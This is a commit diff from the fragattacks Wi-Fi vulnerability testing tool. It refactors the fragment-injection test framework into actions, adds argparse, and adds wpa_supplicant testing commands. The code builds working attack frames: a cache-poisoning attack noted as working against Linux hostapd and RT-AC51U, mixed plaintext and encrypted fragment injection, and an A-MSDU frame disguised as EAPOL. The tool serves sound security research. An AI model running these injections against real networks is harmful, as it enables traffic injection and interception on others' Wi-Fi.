mirror of
https://github.com/vanhoefm/fragattacks.git
synced 2024-11-28 10:18:21 -05:00
fragattack: argparse, use Actions
This commit is contained in:
parent
a2d46c996b
commit
d4b053b590
@ -142,7 +142,7 @@ CONFIG_PKCS12=y
|
||||
CONFIG_IPV6=y
|
||||
|
||||
# IEEE Std 802.11r-2008 (Fast BSS Transition)
|
||||
#CONFIG_IEEE80211R=y
|
||||
CONFIG_IEEE80211R=y
|
||||
|
||||
# Use the hostapd's IEEE 802.11 authentication (ACL), but without
|
||||
# the IEEE 802.11 Management capability (e.g., FreeBSD/net80211)
|
||||
@ -307,7 +307,7 @@ CONFIG_IPV6=y
|
||||
# Interworking (IEEE 802.11u)
|
||||
# This can be used to enable functionality to improve interworking with
|
||||
# external networks.
|
||||
#CONFIG_INTERWORKING=y
|
||||
CONFIG_INTERWORKING=y
|
||||
|
||||
# Hotspot 2.0
|
||||
#CONFIG_HS20=y
|
||||
|
@ -1,6 +1,7 @@
|
||||
#!/usr/bin/env python3
|
||||
from libwifi import *
|
||||
import abc, sys, socket, struct, time, subprocess, atexit, select, copy
|
||||
import argparse
|
||||
from wpaspy import Ctrl
|
||||
from scapy.contrib.wpa_eapol import WPA_key
|
||||
|
||||
@ -15,7 +16,7 @@ from scapy.contrib.wpa_eapol import WPA_key
|
||||
# will make the chip assign difference sequence numbers to both fragments.
|
||||
# - Overwriting the sequence can be avoided by patching `ath_tgt_tx_seqno_normal`
|
||||
# and commenting out the two lines that modify `i_seq`.
|
||||
# - See also the comment in Station.inject_next_frags to avoid other bugs with
|
||||
# - See also the comment in Station.perform_actions to avoid other bugs with
|
||||
# ath9k_htc when injecting frames with the MF flag and while being in AP mode.
|
||||
# - The at9k_htc dongle, and likely other Wi-Fi devices, will reorder frames with
|
||||
# different QoS priorities. This means injected frames with differen priorities
|
||||
@ -58,8 +59,8 @@ class TestOptions():
|
||||
self.inject_workaround = False
|
||||
|
||||
self.interface = None
|
||||
self.clientip = None
|
||||
self.routerip = None
|
||||
self.ip = None
|
||||
self.peerip = None
|
||||
|
||||
# ----------------------------------- Tests -----------------------------------
|
||||
|
||||
@ -94,7 +95,7 @@ def generate_request(sta, ptype):
|
||||
|
||||
return header, request, check
|
||||
|
||||
class Frag():
|
||||
class Action():
|
||||
# StartAuth: when starting the handshake
|
||||
# BeforeAuth: right before last message of the handshake
|
||||
# AfterAuth: right after last message of the handshake
|
||||
@ -104,30 +105,24 @@ class Frag():
|
||||
# GetIp: request an IP before continueing (or use existing one)
|
||||
# Rekey: force or wait for a PTK rekey
|
||||
# Reconnect: force a reconnect
|
||||
GetIp, Rekey, Reconnect = range(3)
|
||||
GetIp, Rekey, Reconnect, Roam, Inject, Func = range(6)
|
||||
|
||||
def __init__(self, trigger, encrypted, frame=None, flags=None, inc_pn=1, delay=None):
|
||||
def __init__(self, trigger, action=Inject, func=None, enc=False, frame=None, inc_pn=1, delay=None):
|
||||
self.trigger = trigger
|
||||
self.action = action
|
||||
self.func = func
|
||||
|
||||
if flags != None and not isinstance(flags, list):
|
||||
self.flags = [flags]
|
||||
else:
|
||||
self.flags = flags if flags != None else []
|
||||
if self.func != None:
|
||||
self.action = Action.Func
|
||||
|
||||
self.encrypted = encrypted
|
||||
# Specific to fragment injection
|
||||
self.encrypted = enc
|
||||
self.inc_pn = inc_pn
|
||||
self.delay = delay
|
||||
self.frame = frame
|
||||
|
||||
def next_flag(self):
|
||||
if len(self.flags) == 0:
|
||||
return None
|
||||
return self.flags[0]
|
||||
|
||||
def pop_flag(self):
|
||||
if len(self.flags) == 0:
|
||||
return None
|
||||
return self.flags.pop(0)
|
||||
def get_action(self):
|
||||
return self.action
|
||||
|
||||
class Test(metaclass=abc.ABCMeta):
|
||||
"""
|
||||
@ -135,34 +130,30 @@ class Test(metaclass=abc.ABCMeta):
|
||||
but they can also be overriden if desired.
|
||||
"""
|
||||
|
||||
def __init__(self, fragments=None):
|
||||
self.fragments = fragments if fragments != None else []
|
||||
def __init__(self, actions=None):
|
||||
self.actions = actions if actions != None else []
|
||||
self.generated = False
|
||||
|
||||
def next_trigger_is(self, trigger):
|
||||
if len(self.fragments) == 0:
|
||||
if len(self.actions) == 0:
|
||||
return False
|
||||
return self.fragments[0].next_flag() == None and \
|
||||
self.fragments[0].trigger == trigger
|
||||
return self.actions[0].trigger == trigger
|
||||
|
||||
def next_flag(self):
|
||||
if len(self.fragments) == 0:
|
||||
def next_action(self, station):
|
||||
if len(self.actions) == 0:
|
||||
return None
|
||||
return self.fragments[0].next_flag()
|
||||
|
||||
def pop_flag(self):
|
||||
if len(self.fragments) == 0:
|
||||
return None
|
||||
return self.fragments[0].pop_flag()
|
||||
|
||||
def next(self, station):
|
||||
if not self.generated:
|
||||
if self.actions[0].action == Action.Inject and not self.generated:
|
||||
self.generate(station)
|
||||
self.generated = True
|
||||
|
||||
frag = self.fragments[0]
|
||||
del self.fragments[0]
|
||||
return frag
|
||||
return self.actions[0]
|
||||
|
||||
def get_actions(self, action):
|
||||
return [act for act in self.actions if act.action == action]
|
||||
|
||||
def pop_action(self):
|
||||
del self.actions[0]
|
||||
|
||||
@abc.abstractmethod
|
||||
def generate(self, station):
|
||||
@ -192,31 +183,36 @@ class PingTest(Test):
|
||||
header, request, self.check_fn = generate_request(station, self.ptype)
|
||||
|
||||
# Generate all the individual (fragmented) frames
|
||||
frames = create_fragments(header, request, len(self.fragments))
|
||||
num_frags = len(self.get_actions(Action.Inject))
|
||||
frames = create_fragments(header, request, num_frags)
|
||||
|
||||
# Assign frames to the existing fragment objects
|
||||
for frag, frame in zip(self.fragments, frames):
|
||||
for frag, frame in zip(self.get_actions(Action.Inject), frames):
|
||||
if self.bcast:
|
||||
frame.addr1 = "ff:ff:ff:ff:ff:ff"
|
||||
frag.frame = frame
|
||||
|
||||
# Put the separator between each fragment if requested.
|
||||
# Put the separator after each fragment if requested.
|
||||
if self.separate_with != None:
|
||||
for i in range(len(self.fragments) - 1, 0, -1):
|
||||
prev_frag = self.fragments[i - 1]
|
||||
for i in range(len(self.actions) - 1, 0, -1):
|
||||
# Check if the previous action is indeed an injection
|
||||
prev_frag = self.actions[i - 1]
|
||||
if prev_frag.action != Action.Inject:
|
||||
continue
|
||||
|
||||
sep_frag = Frag(prev_frag.trigger, prev_frag.encrypted)
|
||||
# Create a similar inject action for the seperator
|
||||
sep_frag = Action(prev_frag.trigger, enc=prev_frag.encrypted)
|
||||
sep_frag.frame = self.separate_with.copy()
|
||||
station.set_header(sep_frag.frame)
|
||||
|
||||
self.fragments.insert(i, sep_frag)
|
||||
self.actions.insert(i, sep_frag)
|
||||
|
||||
class LinuxTest(Test):
|
||||
def __init__(self, ptype):
|
||||
super().__init__([
|
||||
Frag(Frag.Connected, True),
|
||||
Frag(Frag.Connected, True),
|
||||
Frag(Frag.Connected, False)
|
||||
Action(Action.Connected, enc=True),
|
||||
Action(Action.Connected, enc=True),
|
||||
Action(Action.Connected, enc=False)
|
||||
])
|
||||
self.ptype = ptype
|
||||
self.check_fn = None
|
||||
@ -231,15 +227,15 @@ class LinuxTest(Test):
|
||||
frag1, frag2 = create_fragments(header, request, 2)
|
||||
|
||||
# Fragment 1: normal
|
||||
self.fragments[0].frame = frag1
|
||||
self.actions[0].frame = frag1
|
||||
|
||||
# Fragment 2: make Linux update latest used crypto Packet Number
|
||||
frag2enc = frag2.copy()
|
||||
frag2enc.SC ^= (1 << 4) | 1
|
||||
self.fragments[1].frame = frag2enc
|
||||
self.actions[1].frame = frag2enc
|
||||
|
||||
# Fragment 3: can now inject last fragment as plaintext
|
||||
self.fragments[2].frame = frag2
|
||||
self.actions[2].frame = frag2
|
||||
|
||||
return test
|
||||
|
||||
@ -249,8 +245,8 @@ class MacOsTest(Test):
|
||||
"""
|
||||
def __init__(self, ptype):
|
||||
super().__init__([
|
||||
Frag(Frag.BeforeAuth, False),
|
||||
Frag(Frag.BeforeAuth, False)
|
||||
Action(Action.BeforeAuth, enc=False),
|
||||
Action(Action.BeforeAuth, enc=False)
|
||||
])
|
||||
self.ptype = ptype
|
||||
self.check_fn = None
|
||||
@ -275,8 +271,8 @@ class MacOsTest(Test):
|
||||
frag2.SC |= 1
|
||||
frag2.addr1 = "ff:ff:ff:ff:ff:ff"
|
||||
|
||||
self.fragments[0].frame = frag1
|
||||
self.fragments[1].frame = frag2
|
||||
self.actions[0].frame = frag1
|
||||
self.actions[1].frame = frag2
|
||||
|
||||
class EapolTest(Test):
|
||||
# TODO:
|
||||
@ -286,8 +282,8 @@ class EapolTest(Test):
|
||||
# Test 4: EAPOL and A-MSDU tests?
|
||||
def __init__(self):
|
||||
super().__init__([
|
||||
Frag(Frag.BeforeAuth, False),
|
||||
Frag(Frag.BeforeAuth, False)
|
||||
Action(Action.BeforeAuth, enc=False),
|
||||
Action(Action.BeforeAuth, enc=False)
|
||||
])
|
||||
|
||||
def generate(self, station):
|
||||
@ -299,8 +295,8 @@ class EapolTest(Test):
|
||||
frag1copy.addr1 = "ff:ff:ff:ff:ff:ff"
|
||||
frag2copy.addr1 = "ff:ff:ff:ff:ff:ff"
|
||||
|
||||
self.fragments[0].frame = frag1
|
||||
self.fragments[0].frame = frag2
|
||||
self.actions[0].frame = frag1
|
||||
self.actions[0].frame = frag2
|
||||
|
||||
#TODO: Move this function elsewhere?
|
||||
def add_msdu_frag(src, dst, payload):
|
||||
@ -319,8 +315,8 @@ def add_msdu_frag(src, dst, payload):
|
||||
class EapolMsduTest(Test):
|
||||
def __init__(self, ptype):
|
||||
super().__init__([
|
||||
Frag(Frag.Connected, False),
|
||||
Frag(Frag.Connected, False, delay=2)
|
||||
Action(Action.Connected, enc=False),
|
||||
Action(Action.Connected, enc=False)
|
||||
])
|
||||
self.ptype = ptype
|
||||
self.check_fn = None
|
||||
@ -338,7 +334,7 @@ class EapolMsduTest(Test):
|
||||
# Set the A-MSDU frame type flag in the QoS header
|
||||
header.Reserved = 1
|
||||
# Testing
|
||||
header.addr2 = "00:11:22:33:44:55"
|
||||
#header.addr2 = "00:11:22:33:44:55"
|
||||
|
||||
# Masquerade A-MSDU frame as an EAPOL frame
|
||||
request = LLC()/SNAP()/EAPOL()/Raw(b"\x00\x06AAAAAA") / add_msdu_frag(station.mac, station.peermac, request)
|
||||
@ -350,9 +346,8 @@ class EapolMsduTest(Test):
|
||||
station.set_header(auth)
|
||||
auth.addr2 = "00:11:22:33:44:55"
|
||||
|
||||
self.fragments[0].frame = auth
|
||||
self.fragments[1].frame = frames[0]
|
||||
|
||||
self.actions[0].frame = auth
|
||||
self.actions[1].frame = frames[0]
|
||||
|
||||
# ----------------------------------- Abstract Station Class -----------------------------------
|
||||
|
||||
@ -485,24 +480,105 @@ class Station():
|
||||
self.reset_keys()
|
||||
self.time_connected = None
|
||||
|
||||
def inject_next_frags(self, trigger):
|
||||
def trigger_eapol_events(self, eapol):
|
||||
key_type = eapol.key_info & 0x0008
|
||||
key_ack = eapol.key_info & 0x0080
|
||||
key_mic = eapol.key_info & 0x0100
|
||||
key_secure = eapol.key_info & 0x0200
|
||||
# Detect Msg3/4 assumig WPA2 is used --- XXX support WPA1 as well
|
||||
is_msg3_or_4 = key_secure != 0
|
||||
|
||||
# Inject any fragments before authenticating
|
||||
if not self.txed_before_auth:
|
||||
log(STATUS, "Action.StartAuth", color="green")
|
||||
self.perform_actions(Action.StartAuth)
|
||||
self.txed_before_auth = True
|
||||
self.txed_before_auth_done = False
|
||||
|
||||
# Inject any fragments when almost done authenticating
|
||||
elif is_msg3_or_4 and not self.txed_before_auth_done:
|
||||
log(STATUS, "Action.BeforeAuth", color="green")
|
||||
self.perform_actions(Action.BeforeAuth)
|
||||
self.txed_before_auth_done = True
|
||||
self.txed_before_auth = False
|
||||
|
||||
self.time_connected = None
|
||||
|
||||
def handle_eapol_tx(self, eapol):
|
||||
eapol = EAPOL(eapol)
|
||||
self.trigger_eapol_events(eapol)
|
||||
|
||||
# - Send over monitor interface to assure order compared to injected fragments.
|
||||
# - This is also important because the station might have already installed the
|
||||
# key before this script can send the EAPOL frame over Ethernet (but we didn't
|
||||
# yet request the key from this script).
|
||||
# - Send with high priority, otherwise Action.AfterAuth might be send before
|
||||
# the EAPOL frame by the Wi-Fi chip.
|
||||
self.send_mon(eapol)
|
||||
|
||||
def perform_actions(self, trigger):
|
||||
if self.test == None:
|
||||
return
|
||||
|
||||
frame = None
|
||||
while self.test.next_trigger_is(trigger):
|
||||
act = self.test.next_action(self)
|
||||
print("Loop:", self.test.actions)
|
||||
print("Loop:", [act.frame for act in self.test.actions])
|
||||
|
||||
while self.test != None and self.test.next_trigger_is(trigger):
|
||||
frag = self.test.next(self)
|
||||
if frag.delay != None:
|
||||
log(STATUS, f"Sleeping {frag.delay} seconds")
|
||||
time.sleep(frag.delay)
|
||||
# GetIp is a special case. It is only popped when we actually
|
||||
# have an IP. So handle if first as a special case.
|
||||
# TODO: Actually "complete" the action once we have an IP.
|
||||
if act.action == Action.GetIp and not self.obtained_ip:
|
||||
# (Re)transmit DHCP frames (or as AP print status message)
|
||||
self.daemon.get_ip(self)
|
||||
# Either schedule a new Connected event, or the initial one. Use 2 seconds
|
||||
# because requesting IP generally takes a bit of time.
|
||||
# TODO: Add an option to configure this timeout.
|
||||
self.time_connected = time.time() + 1
|
||||
log(WARNING, f"Scheduling next Action.Connected at {self.time_connected}")
|
||||
break
|
||||
|
||||
if frag.encrypted:
|
||||
assert self.tk != None and self.gtk != None
|
||||
frame = self.encrypt(frag.frame, inc_pn=frag.inc_pn)
|
||||
log(STATUS, "Encrypted fragment with key " + self.tk.hex())
|
||||
else:
|
||||
frame = frag.frame
|
||||
# All the other actions are always popped
|
||||
self.test.pop_action()
|
||||
|
||||
self.daemon.inject_mon(frame)
|
||||
log(STATUS, "[Injected fragment] " + repr(frame))
|
||||
if act.action == Action.Func:
|
||||
log(STATUS, "[Executing Function]")
|
||||
if act.func(self) != None:
|
||||
break
|
||||
|
||||
elif act.action == Action.Rekey:
|
||||
# Force rekey as AP, wait on rekey as client
|
||||
self.daemon.rekey(self)
|
||||
break
|
||||
|
||||
elif act.action == Action.Roam:
|
||||
# Roam as client, TODO XXX what was AP?
|
||||
self.daemon.roam(self)
|
||||
break
|
||||
|
||||
elif act.action == Action.Reconnect:
|
||||
# Full reconnect as AP, reassociation as client
|
||||
self.daemon.reconnect(self)
|
||||
break
|
||||
|
||||
elif act.action == Action.Inject:
|
||||
if act.delay != None:
|
||||
log(STATUS, f"Sleeping {act.delay} seconds")
|
||||
time.sleep(act.delay)
|
||||
|
||||
if act.encrypted:
|
||||
assert self.tk != None and self.gtk != None
|
||||
frame = self.encrypt(act.frame, inc_pn=act.inc_pn)
|
||||
log(STATUS, "Encrypted fragment with key " + self.tk.hex())
|
||||
else:
|
||||
frame = act.frame
|
||||
|
||||
print(repr(frame))
|
||||
print(repr(act))
|
||||
print(self.test.actions)
|
||||
self.daemon.inject_mon(frame)
|
||||
log(STATUS, "[Injected fragment] " + repr(frame))
|
||||
|
||||
# With ath9k_htc devices, there's a bug when injecting a frame with the
|
||||
# More Fragments (MF) field *and* operating the interface in AP mode
|
||||
@ -519,85 +595,20 @@ class Station():
|
||||
self.daemon.inject_mon(Dot11(addr1="ff:ff:ff:ff:ff:ff"))
|
||||
print("[Injected packet] Prevent ath9k_htc bug after fragment injection")
|
||||
|
||||
def trigger_eapol_events(self, eapol):
|
||||
key_type = eapol.key_info & 0x0008
|
||||
key_ack = eapol.key_info & 0x0080
|
||||
key_mic = eapol.key_info & 0x0100
|
||||
key_secure = eapol.key_info & 0x0200
|
||||
# Detect Msg3/4 assumig WPA2 is used --- XXX support WPA1 as well
|
||||
is_msg3_or_4 = key_secure != 0
|
||||
|
||||
# Inject any fragments before authenticating
|
||||
if not self.txed_before_auth:
|
||||
log(STATUS, "Frag.StartAuth", color="green")
|
||||
self.inject_next_frags(Frag.StartAuth)
|
||||
self.txed_before_auth = True
|
||||
self.txed_before_auth_done = False
|
||||
|
||||
# Inject any fragments when almost done authenticating
|
||||
elif is_msg3_or_4 and not self.txed_before_auth_done:
|
||||
log(STATUS, "Frag.BeforeAuth", color="green")
|
||||
self.inject_next_frags(Frag.BeforeAuth)
|
||||
self.txed_before_auth_done = True
|
||||
self.txed_before_auth = False
|
||||
|
||||
self.time_connected = None
|
||||
|
||||
def handle_eapol_tx(self, eapol):
|
||||
eapol = EAPOL(eapol)
|
||||
self.trigger_eapol_events(eapol)
|
||||
|
||||
# - Send over monitor interface to assure order compared to injected fragments.
|
||||
# - This is also important because the station might have already installed the
|
||||
# key before this script can send the EAPOL frame over Ethernet (but we didn't
|
||||
# yet request the key from this script).
|
||||
# - Send with high priority, otherwise Frag.AfterAuth might be send before
|
||||
# the EAPOL frame by the Wi-Fi chip.
|
||||
self.send_mon(eapol)
|
||||
|
||||
def check_flags_and_inject(self, trigger):
|
||||
if self.test == None:
|
||||
return
|
||||
|
||||
flag = self.test.next_flag()
|
||||
if flag == Frag.GetIp:
|
||||
if self.obtained_ip:
|
||||
self.test.pop_flag()
|
||||
else:
|
||||
# (Re)transmit DHCP frames (or as AP print status message)
|
||||
self.daemon.get_ip(self)
|
||||
# Either schedule a new Connected event, or the initial one. Use 2 seconds
|
||||
# because requesting IP generally takes a bit of time.
|
||||
# TODO: Add an option to configure this timeout.
|
||||
self.time_connected = time.time() + 1
|
||||
log(WARNING, f"Scheduling next Frag.Connected at {self.time_connected}")
|
||||
return
|
||||
|
||||
self.inject_next_frags(trigger)
|
||||
|
||||
flag = self.test.pop_flag()
|
||||
if flag == Frag.Rekey:
|
||||
# Force rekey as AP, wait on rekey as client
|
||||
self.daemon.rekey(self)
|
||||
|
||||
elif flag == Frag.Reconnect:
|
||||
# Full reconnect as AP, reassociation as client
|
||||
self.daemon.reconnect(self)
|
||||
|
||||
def handle_authenticated(self):
|
||||
"""Called after completion of the 4-way handshake or similar"""
|
||||
self.tk = self.daemon.get_tk(self)
|
||||
self.gtk, self.gtk_idx = self.daemon.get_gtk()
|
||||
|
||||
# Note that self.time_connect may get changed in check_flags_and_inject
|
||||
log(STATUS, "Frag.AfterAuth", color="green")
|
||||
# Note that self.time_connect may get changed in perform_actions
|
||||
log(STATUS, "Action.AfterAuth", color="green")
|
||||
self.time_connected = time.time() + 1
|
||||
self.check_flags_and_inject(Frag.AfterAuth)
|
||||
self.perform_actions(Action.AfterAuth)
|
||||
|
||||
def handle_connected(self):
|
||||
"""This is called ~1 second after completing the handshake"""
|
||||
log(STATUS, "Frag.Connected", color="green")
|
||||
self.check_flags_and_inject(Frag.Connected)
|
||||
log(STATUS, "Action.Connected", color="green")
|
||||
self.perform_actions(Action.Connected)
|
||||
|
||||
def set_ip_addresses(self, ip, peerip):
|
||||
self.ip = ip
|
||||
@ -907,10 +918,9 @@ class Supplicant(Daemon):
|
||||
req = Ether(dst="ff:ff:ff:ff:ff:ff", src=self.station.mac)/IP(src="0.0.0.0", dst="255.255.255.255")
|
||||
req = req/UDP(sport=68, dport=67)/BOOTP(op=1, chaddr=rawmac, xid=self.dhcp_xid)
|
||||
req = req/DHCP(options=[("message-type", "discover"), "end"])
|
||||
print(repr(req))
|
||||
|
||||
log(STATUS, "Sending DHCP discover with XID {self.dhcp_xid}")
|
||||
self.station.send_mon(req)
|
||||
#self.sock_eth.send(req)
|
||||
|
||||
def send_dhcp_request(self, offer):
|
||||
rawmac = bytes.fromhex(self.station.mac.replace(':', ''))
|
||||
@ -923,8 +933,8 @@ class Supplicant(Daemon):
|
||||
reply = reply/DHCP(options=[("message-type", "request"), ("requested_addr", myip),
|
||||
("hostname", "fragclient"), "end"])
|
||||
|
||||
log(STATUS, "Sending DHCP request with XID {self.dhcp_xid}")
|
||||
self.station.send_mon(reply)
|
||||
#self.sock_eth.send(reply)
|
||||
|
||||
def handle_eth_dhcp(self, p):
|
||||
"""Handle packets needed to connect and request an IP"""
|
||||
@ -974,8 +984,14 @@ class Supplicant(Daemon):
|
||||
cmd, srcaddr, payload = msg.split()
|
||||
self.station.handle_eapol_tx(bytes.fromhex(payload))
|
||||
|
||||
def roam(self, station):
|
||||
log(STATUS, "Roaming to the current AP.", color="green")
|
||||
wpaspy_command(self.wpaspy_ctrl, "SET reassoc_same_bss_optim 0")
|
||||
wpaspy_command(self.wpaspy_ctrl, "ROAM " + station.peermac)
|
||||
|
||||
def reconnect(self, station):
|
||||
log(STATUS, "Reconnecting to the AP.", color="green")
|
||||
wpaspy_command(self.wpaspy_ctrl, "SET reassoc_same_bss_optim 1")
|
||||
wpaspy_command(self.wpaspy_ctrl, "REASSOCIATE")
|
||||
|
||||
def configure_daemon(self):
|
||||
@ -984,12 +1000,11 @@ class Supplicant(Daemon):
|
||||
|
||||
# Optimize reassoc-to-same-BSS. This makes the "REASSOCIATE" command skip the
|
||||
# authentication phase (reducing the chance that packet queues are reset).
|
||||
wpaspy_command(self.wpaspy_ctrl, "SET reassoc_same_bss_optim 1")
|
||||
wpaspy_command(self.wpaspy_ctrl, "SET ext_eapol_frame_io 1")
|
||||
|
||||
# If the user already supplied IPs we can immediately perform tests
|
||||
if self.options.clientip and self.options.routerip:
|
||||
self.initialize_ips(self.options.clientip, self.options.routerip)
|
||||
if self.options.ip and self.options.peerip:
|
||||
self.initialize_ips(self.options.ip, self.options.peerip)
|
||||
|
||||
def start_daemon(self):
|
||||
log(STATUS, "Starting wpa_supplicant ...")
|
||||
@ -1014,54 +1029,58 @@ class Supplicant(Daemon):
|
||||
def cleanup():
|
||||
daemon.stop()
|
||||
|
||||
def prepare_tests(test_id):
|
||||
if test_id == 0:
|
||||
def prepare_tests(test_name):
|
||||
if test_name == "0":
|
||||
# Simple ping as sanity check
|
||||
test = PingTest(REQ_DHCP,
|
||||
[Frag(Frag.Connected, True, flags=Frag.GetIp)])
|
||||
#[Frag(Frag.AfterAuth, True, flags=Frag.Rekey)])
|
||||
[Action(Action.Connected, Action.Roam),
|
||||
Action(Action.Connected, enc=False, delay=5),
|
||||
Action(Action.Connected, enc=False)])
|
||||
|
||||
elif test_id == 1:
|
||||
elif test_name == "1":
|
||||
# Check if the STA receives broadcast (useful test against AP)
|
||||
test = PingTest(REQ_DHCP,
|
||||
[Frag(Frag.Connected, True)],
|
||||
[Action(Action.Connected, enc=True)],
|
||||
bcast=True)
|
||||
|
||||
elif test_id == 2:
|
||||
elif test_name == "2":
|
||||
# Cache poison attack. Worked against Linux Hostapd and RT-AC51U.
|
||||
test = PingTest(REQ_ICMP,
|
||||
[Frag(Frag.Connected, True),
|
||||
Frag(Frag.AfterAuth, True, flags=Frag.Reconnect)])
|
||||
[Action(Action.Connected, enc=True),
|
||||
Action(Action.Connected, action=Action.Reconnect),
|
||||
Action(Action.AfterAuth, enc=True)])
|
||||
|
||||
elif test_id == 3:
|
||||
elif test_name == "3":
|
||||
# Two fragments over different PTK keys. Against RT-AC51U AP we can
|
||||
# trigger a rekey, but must do the rekey handshake in plaintext.
|
||||
test = PingTest(REQ_DHCP,
|
||||
[Frag(Frag.Connected, True),
|
||||
Frag(Frag.AfterAuth, True, flags=Frag.Rekey)])
|
||||
[Action(Action.Connected, enc=True),
|
||||
Action(Action.Connected, action=Action.Rekey),
|
||||
Action(Action.AfterAuth, enc=True)])
|
||||
|
||||
elif test_id == 4:
|
||||
elif test_name == "4":
|
||||
# Two fragments over different PTK keys. Against RT-AC51U AP we can
|
||||
# trigger a rekey, but must do the rekey handshake in plaintext.
|
||||
test = PingTest(REQ_DHCP,
|
||||
[Frag(Frag.BeforeAuth, True, flags=Frag.Rekey),
|
||||
Frag(Frag.AfterAuth, True)])
|
||||
[Action(Action.Connected, action=Action.Rekey),
|
||||
Action(Action.BeforeAuth, enc=True),
|
||||
Action(Action.AfterAuth, enc=True)])
|
||||
|
||||
elif test_id == 5:
|
||||
elif test_name == "5":
|
||||
test = MacOsTest(REQ_DHCP)
|
||||
|
||||
elif test_id == 6:
|
||||
elif test_name == "6":
|
||||
# Check if we can send frames in between fragments
|
||||
separator = Dot11(type="Data", subtype=8, SC=(33 << 4))/Dot11QoS()/LLC()/SNAP()
|
||||
#separator.addr2 = "00:11:22:33:44:55"
|
||||
#separator.addr3 = "ff:ff:ff:ff:ff:ff"
|
||||
test = PingTest(REQ_DHCP,
|
||||
[Frag(Frag.Connected, True),
|
||||
Frag(Frag.Connected, True, delay=1)])
|
||||
[Action(Action.Connected, enc=True),
|
||||
Action(Action.Connected, enc=True, delay=1)])
|
||||
#separate_with=separator)
|
||||
|
||||
elif test_id == 7:
|
||||
test = EapolMsduTest(REQ_DHCP)
|
||||
elif test_name == "7":
|
||||
test = EapolMsduTest(REQ_ICMP)
|
||||
|
||||
# XXX TODO : Hardware decrypts it using old key, software using new key?
|
||||
# So right after rekey we inject first with old key, second with new key?
|
||||
@ -1085,29 +1104,36 @@ def prepare_tests(test_id):
|
||||
# 1.8 Encrypted, plaintext, encrypted
|
||||
# 1.9 Plaintext, encrypted, plaintext
|
||||
# 2. Test 2 but first plaintext sent before installing key
|
||||
# ==> Plaintext can already be sent during 4-way HS?
|
||||
# - Test fragmentation of management frames
|
||||
# - Test fragmentation of group frames (STA mode of RT-AC51u?)
|
||||
|
||||
return test
|
||||
|
||||
if __name__ == "__main__":
|
||||
log(WARNING, "Remember to use a modified backports and ath9k_htc firmware!\n")
|
||||
if "--help" in sys.argv or "-h" in sys.argv:
|
||||
print("\nSee README.md for usage instructions.")
|
||||
quit(1)
|
||||
elif len(sys.argv) < 2:
|
||||
print(f"Usage: {sys.argv[0]} interface test_id")
|
||||
quit(1)
|
||||
|
||||
parser = argparse.ArgumentParser(description="Test for fragmentation vulnerabilities.")
|
||||
parser.add_argument('iface', help="Interface to use for the tests.")
|
||||
parser.add_argument('testname', help="Name or identifier of the test to run.")
|
||||
parser.add_argument('--ip', help="IP we as a sender should use.")
|
||||
parser.add_argument('--peerip', help="IP of the device we will test.")
|
||||
parser.add_argument('--ap', default=False, action='store_true', help="Act as an AP to test clients.")
|
||||
parser.add_argument('--debug', type=int, default=0, help="Debug output level.")
|
||||
args = parser.parse_args()
|
||||
|
||||
# Convert parsed options to TestOptions object
|
||||
options = TestOptions()
|
||||
options.interface = sys.argv[1]
|
||||
options.test = prepare_tests(int(sys.argv[2]))
|
||||
options.interface = args.iface
|
||||
options.test = prepare_tests(args.testname)
|
||||
options.ip = args.ip
|
||||
options.peerip = args.peerip
|
||||
|
||||
# Parse remaining options
|
||||
start_ap = argv_pop_argument("--ap")
|
||||
while argv_pop_argument("--debug"):
|
||||
libwifi.global_log_level -= 1
|
||||
global_log_level -= args.debug
|
||||
|
||||
# Now start the tests
|
||||
if start_ap:
|
||||
if args.ap:
|
||||
daemon = Authenticator(options)
|
||||
else:
|
||||
daemon = Supplicant(options)
|
||||
|
@ -57,6 +57,10 @@
|
||||
#include "dpp_supplicant.h"
|
||||
#include "sme.h"
|
||||
|
||||
#ifdef CONFIG_TESTING_OPTIONS
|
||||
#include <rsn_supp/wpa_i.h>
|
||||
#endif /* CONFIG_TESTING_OPTIONS */
|
||||
|
||||
#ifdef __NetBSD__
|
||||
#include <net/if_ether.h>
|
||||
#elif !defined(__CYGWIN__) && !defined(CONFIG_NATIVE_WINDOWS)
|
||||
@ -9440,6 +9444,50 @@ static int wpa_supplicant_ctrl_iface_get_gtk(struct wpa_supplicant *wpa_s,
|
||||
return pos;
|
||||
}
|
||||
|
||||
|
||||
static int wpas_ctrl_get_assoc_resp_ies(struct wpa_supplicant *wpa_s,
|
||||
char *buf, size_t buflen)
|
||||
{
|
||||
struct wpa_sm *sm = wpa_s->wpa;
|
||||
|
||||
if (sm->assoc_resp_ies == NULL)
|
||||
return -1;
|
||||
|
||||
return wpa_snprintf_hex(buf, buflen, sm->assoc_resp_ies, sm->assoc_resp_ies_len);
|
||||
}
|
||||
|
||||
|
||||
static int wpas_ctrl_set_assoc_resp_ies(struct wpa_supplicant *wpa_s, const char *cmd)
|
||||
{
|
||||
struct wpa_sm *sm = wpa_s->wpa;
|
||||
size_t len;
|
||||
u8 *buf;
|
||||
|
||||
len = os_strlen(cmd);
|
||||
if (len & 1) return -1;
|
||||
len /= 2;
|
||||
|
||||
buf = os_malloc(len);
|
||||
if (buf == NULL)
|
||||
return -1;
|
||||
|
||||
if (hexstr2bin(cmd, buf, len) < 0) {
|
||||
os_free(buf);
|
||||
return -1;
|
||||
}
|
||||
|
||||
printf("\n\nCurrent value = ");
|
||||
for (int i = 0; i < sm->assoc_resp_ies_len; ++i)
|
||||
printf("%02X ", sm->assoc_resp_ies[i]);
|
||||
printf("\n");
|
||||
|
||||
os_free(sm->assoc_resp_ies);
|
||||
sm->assoc_resp_ies = buf;
|
||||
sm->assoc_resp_ies_len = len;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
#endif /* CONFIG_TESTING_OPTIONS */
|
||||
|
||||
|
||||
@ -10785,6 +10833,11 @@ char * wpa_supplicant_ctrl_iface_process(struct wpa_supplicant *wpa_s,
|
||||
WLAN_REASON_CLASS2_FRAME_FROM_NONAUTH_STA);
|
||||
} else if (os_strcmp(buf, "GET_GTK") == 0) {
|
||||
reply_len = wpa_supplicant_ctrl_iface_get_gtk(wpa_s, reply, reply_size);
|
||||
} else if (os_strcmp(buf, "GET_ASSOC_RESP_IES") == 0) {
|
||||
reply_len = wpas_ctrl_get_assoc_resp_ies(wpa_s, reply, reply_size);
|
||||
} else if (os_strncmp(buf, "SET_ASSOC_RESP_IES ", 19) == 0) {
|
||||
if (wpas_ctrl_set_assoc_resp_ies(wpa_s, buf + 19) < 0)
|
||||
reply_len = -1;
|
||||
#endif /* CONFIG_TESTING_OPTIONS */
|
||||
} else if (os_strncmp(buf, "VENDOR_ELEM_ADD ", 16) == 0) {
|
||||
